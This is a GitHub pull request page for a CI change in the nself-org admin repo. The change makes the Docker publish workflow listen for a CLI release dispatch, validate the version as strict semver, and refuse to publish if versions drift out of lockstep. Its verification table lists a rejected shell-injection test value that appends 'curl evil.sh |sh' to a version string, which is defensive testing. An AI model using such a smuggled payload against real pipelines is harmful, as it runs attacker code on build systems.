fix(ci): listen for the cli-release dispatch and publish in lockstep - #104
Merged
Merged
Conversation
nself-org/cli release.yml has dispatched `cli-release` at this repo on every
stable release since S34-T12, to satisfy the MASTER-VERSIONS Hard Rule:
"When CLI tags vX.Y.Z, Admin's Docker image nself/nself-admin:X.Y.Z must
publish on the same release day. A release is not complete until CLI
binary + homebrew formula + admin Docker image are all published at the
matching version and :latest points to the new version."
No workflow here listened for it. All 20 were checked; docker-publish.yml and
release.yml both trigger on `push: tags: v*` only. So the dispatch went into
the void on every release, and Docker Hub has sat at 1.0.13 while CLI reached
1.3.6 — the lockstep rule has been violated in practice, as MASTER-VERSIONS
already records.
Three changes:
1. Listen for `repository_dispatch: [cli-release]`.
2. Resolve the version per trigger. The old logic fell through to
`${GITHUB_REF#refs/tags/v}` for anything that was not workflow_dispatch. On
a repository_dispatch GITHUB_REF is refs/heads/main, so VERSION would have
become the literal "refs/heads/main". It now switches on GITHUB_EVENT_NAME,
strips the tag's leading v, and validates plain X.Y.Z semver before the
value can reach a Docker tag or the :latest alias. The payload arrives via
env: rather than inline interpolation — a dispatch payload is controlled by
whatever holds the dispatching token.
3. Refuse to publish on a lockstep break. If the CLI released vX.Y.Z but
admin's package.json still says something else, the image would be tagged
with a version its own code does not report. MASTER-VERSIONS: "Any desync
... is a hard error." scripts/check-version-lockstep.sh already proves
package.json and cli-version.ts agree with each other; this proves they
agree with the release being cut.
Verified by simulating all four trigger paths: dispatch with "v1.3.6" and
"1.3.6", tag push, and manual input all resolve to 1.3.6 / major 1 /
major_minor 1.3. The empty-payload case that previously yielded
"refs/heads/main", a shell-injection attempt, and a prerelease tag are all
rejected. No prerelease tag has ever been cut in this repo, so the strict
X.Y.Z check removes no path in use.
Note for the first run: docker-publish has failed on every attempt since
2026-05-26, most recently on the Trivy CRITICAL gate for npm's bundled tar
7.5.11 (CVE-2026-59873). That was fixed in d19a32c by removing npm from the
runtime image, which landed AFTER the last run — so the gate has not been
exercised since the fix. This PR makes the path live; the first dispatch is
what proves it.
acamarata
added a commit
to nself-org/cli
that referenced
this pull request
Sep 12, 2026
… the tap (#415) The two dispatch steps in the publish job share one secret, HOMEBREW_TAP_TOKEN, but target different repos: nself-org/homebrew-nself and nself-org/admin. The preflight probe only checked homebrew-nself. So a PAT scoped to the tap but not to admin passed the gate, fired the tap dispatch, and then failed on the admin dispatch — after the release had already published. The gate reported the token as good while half of what it authorises was unusable. The probe now checks every repo it dispatches to and names the failing one in the warning. Whoever mints the replacement PAT needs repo scope on BOTH repos; this proves it before either dispatch runs rather than after one has. Verified by simulation: both-200 passes; the current both-401 state fails; and the tap-only PAT case (200 on homebrew-nself, 404 on admin) — the gap this closes — now fails instead of half-succeeding. Context: the admin side of that dispatch had no listener at all until nself-org/admin#104. HOMEBREW_TAP_TOKEN itself is still expired (HTTP 401) and needs an owner to mint a new one.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
nself-org/cli
release.ymlhas dispatchedcli-releaseat this repo on every stable release since S34-T12, to satisfy the MASTER-VERSIONS Hard Rule:No workflow here listened for it. All 20 checked;
docker-publish.ymlandrelease.ymlboth trigger onpush: tags: v*only. The dispatch went into the void on every release, and Docker Hub has sat at 1.0.13 while CLI reached 1.3.6 — the lockstep rule has been violated in practice, as MASTER-VERSIONS already records.Changes
1. Listen for
repository_dispatch: [cli-release].2. Resolve the version per trigger. The old logic fell through to
${GITHUB_REF#refs/tags/v}for anything that was notworkflow_dispatch. On arepository_dispatch,GITHUB_REFisrefs/heads/main— soVERSIONwould have become the literal stringrefs/heads/main. It now switches onGITHUB_EVENT_NAME, strips the tag's leadingv, and validates plainX.Y.Zsemver before the value can reach a Docker tag or the:latestalias. The payload arrives viaenv:rather than inline interpolation — a dispatch payload is controlled by whatever holds the dispatching token.3. Refuse to publish on a lockstep break. If the CLI released
vX.Y.Zbut admin'spackage.jsonsays something else, the image would be tagged with a version its own code does not report. MASTER-VERSIONS: "Any desync ... is a hard error."scripts/check-version-lockstep.shalready provespackage.jsonandcli-version.tsagree with each other; this proves they agree with the release being cut.Verification
All four trigger paths simulated:
repository_dispatchv1.3.6version=1.3.6 major=1 major_minor=1.3repository_dispatch1.3.6version=1.3.6 major=1 major_minor=1.3pushtagrefs/tags/v1.3.6version=1.3.6 major=1 major_minor=1.3workflow_dispatch1.3.6version=1.3.6 major=1 major_minor=1.31.3.6"; curl evil.sh |sh #v1.3.6-rc1No prerelease tag has ever been cut in this repo, so the strict
X.Y.Zcheck removes no path in use.Note for the first run
docker-publishhas failed on every attempt since 2026-05-26. The most recent (2026-08-31 17:18Z, sha40a5d04) failed the Trivy CRITICAL gate on npm's bundledtar7.5.11 (CVE-2026-59873). That was fixed ind19a32cby removing npm from the runtime image — which landed after that run, so the gate has not been exercised since the fix.This PR makes the path live. The first dispatch is what proves it. If the Trivy gate still trips, that is a separate defect to fix at the image level — not by weakening the gate, per the Security-Always-Free doctrine.